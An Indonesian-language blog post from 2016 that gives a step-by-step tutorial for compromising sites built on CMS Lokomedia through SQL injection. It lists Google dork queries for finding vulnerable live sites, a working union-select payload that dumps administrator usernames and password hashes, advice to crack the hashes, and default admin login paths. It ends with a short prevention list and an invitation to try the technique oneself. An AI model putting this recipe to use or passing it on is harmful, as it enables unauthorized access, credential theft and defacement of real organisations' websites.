Wednesday, December 14, 2016

Defacement melalui SQL injection pada CMS Lokomedia

Beberapa hari lalu, iseng membaca sebuah situs dari seorang hacker yang sudah sering melakukan serangan. Ternyata rapi juga mereka melakukan dokumentasi metode serangan yang digunakan terhadap situs. Saya sampai terharu terhadap cara mereka melakukan dokumentasinya, mungkin inilah yang disebut dengan standar ISO (apa yang kamu lakukan kamu catat, apa yang kamu catat kamu lakukan). Tak usah terlalu lama-lama lagi mari kita bedah cara mereka melakukan hal tersebut.

Pengertian
Sql injection merupakan sebuah teknik hacking dimana seorang penyerang memasukkan kode-kode (query) perintah-perintah sql melalui url untuk dieksekusi oleh basis data. Cara yang paling mudah adalah dengan menambahkan karakter '-' pada akhir sebuah url. Apabila muncul eror 

You have an error in your SQL syntax.You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1

Maka dapat dipastikan bahwa situs tersebut terdapat celah.


Langkah-langkah
CMS LOKOMEDIA adalah salah satu CMS (Content System Management) buatan anak negeri yang tak kalah menarik seperti CMS yang lainnya. CMS ini dapat digunakan untuk web Intansi, sekolah maupun web pribadi, karena CMS ini cocok digunakan untuk beberapa keperluan yang mana tersedia beberapa modul yang siap pakai. 
Pertama-tama kita cari situs sumber yang akan diujicoba. Caranya adalah dengan dorking memakai google menggunakan sintaks
inurl:statis-1-profil.html
inurl:statis-2-profil.html
inurl:statis-3-strukturorganisasi.html
inurl:statis-1-visimisi.html
inurl:statis-1-tujuan.html
Jika sudah mendapatkan sasaran, langkah selanjutnya adalah untuk melakukan injek sql terhadap sasaran itu dengan memasukkan sintaks sebagai berikut 
http://www.blahblah.com/statis-1'union+select+make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x3C6C693E,username,password)),@)--+-profil.html
http://www.blahblah.com/statis-1'union+select+make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x3C6C693E,username,password)),@)--+/profil.html

Maka akan mucul Username & Password nya di atas Judul Websitenya. Sekarang Kita Munculkan Username & Passwordnya agar lebih mudah Mencatatnya Dengan cara CTRL+U / Jika Websitenya tidak bisa CTRL+U Silahkan klik Kanan Dan Pilih View Page Source. Jika sudah dapat tinggal kita decrypt dengan tool yang banyak berserakan di google. Hehehehehe. Setelah semua username dan password didapatkan tinggal masuk ke halaman admin lewat url
http://www.blahblah.com/admin/
http://www.blahblah.com/adminweb/
http://www.blahblah.com/admininistrator/
http://www.blahblah.com/redaktur/
Dari sini cukup sudah saran saya, tetapi kalo mau terus silahkan resiko ditanggung sendiri.

Pencegahan
Dari cara diatas sebaiknya kita lakukan pencegahan-pencegahan dengan berbagai macam cara:
1. Melakukan hardening terhadap server dengan menggunakan mod-security
2. Melakukan hardening dengan menggunakan htaccess
3. Melakukan hash terhadap password dengan password yang kuat
4. Merubah alamat backend supaya tidak sesuai dengan alamat default
5. Terakhir adalah banyak berdoa supaya situsnya aman

Kesimpulan
Beginilah ilmu yang saya dapat dari beberapa waktu lalu ketika saya memiliki waktu luang di jam kerja dengan membaca ilmu ini. Ilmu ini sangat berharga baik bagi sysadmin, hacker maupun security expert. Mari pergunakan ilmu ini sebaik-baiknya. Pastinya ilmu ini masih berlaku ato tidak silahkan dipraktikkan sendiri yah.

sumber

No comments:

Post a Comment